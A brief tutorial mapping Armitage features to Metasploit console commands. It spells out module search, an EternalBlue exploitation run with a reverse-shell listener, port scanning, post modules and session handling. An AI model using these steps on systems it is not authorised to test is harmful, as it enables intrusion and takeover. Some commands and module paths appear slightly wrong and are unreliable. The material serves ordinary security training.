TL;DR
Armitage is a GUI for Metasploit. This guide shows you how to replicate common Armitage tasks using the Metasploit command-line interface (CLI). It focuses on finding attack tools and exploiting targets.
Finding Attack Tools (Modules)
- Search for Modules: Use the
searchcommand. This is how you’d find modules in Armitage.- To search for all modules related to a keyword, e.g., ‘smb’:
msf6 > search smb - To search specifically for exploits:
msf6 > search type:exploit smb - To search for auxiliary modules:
msf6 > search type:auxiliary smb
- To search for all modules related to a keyword, e.g., ‘smb’:
- Module Information: Once you’ve found a module, use
infoto get details.msf6 > info exploit/windows/smb/ms17_010_eternalblue
Exploiting Targets
- Use a Module: Use the
usecommand to load an exploit.msf6 > use exploit/windows/smb/ms17_010_eternalblue - Set Options: Configure the module with required options using
set. Common options include RHOSTS (target IP) and LHOST (your listening IP).- To see available options:
msf6 exploit/windows/smb/ms17_010_eternalblue > show options - Set the target address:
msf6 exploit/windows/smb/ms17_010_eternalblue > set RHOSTS 192.168.1.100 - Set your listening IP (where the reverse shell will connect):
msf6 exploit/windows/smb/ms17_010_eternalblue > set LHOST 192.168.1.50
- To see available options:
- Run the Exploit: Execute the exploit with the
runcommand.msf6 exploit/windows/smb/ms17_010_eternalblue > run
Automating Tasks (Scripts)
- Auxiliary Modules for Scanning: Use auxiliary modules to scan for vulnerabilities. For example, the ‘scanner/portscan’ module.
msf6 > use scanner/portscanmsf6 scanner/portscan > set PORTS 21-23,80,445msf6 scanner/portscan > run - Post Modules: Use post modules after gaining access to perform further actions (e.g., privilege escalation).
msf6 > use post/multi/gather/win_systeminfo
Session Management
- List Sessions: View active sessions with
sessions.msf6 > sessions - Interact with a Session: Use
session -ito interact with a specific session.msf6 > session -i 1

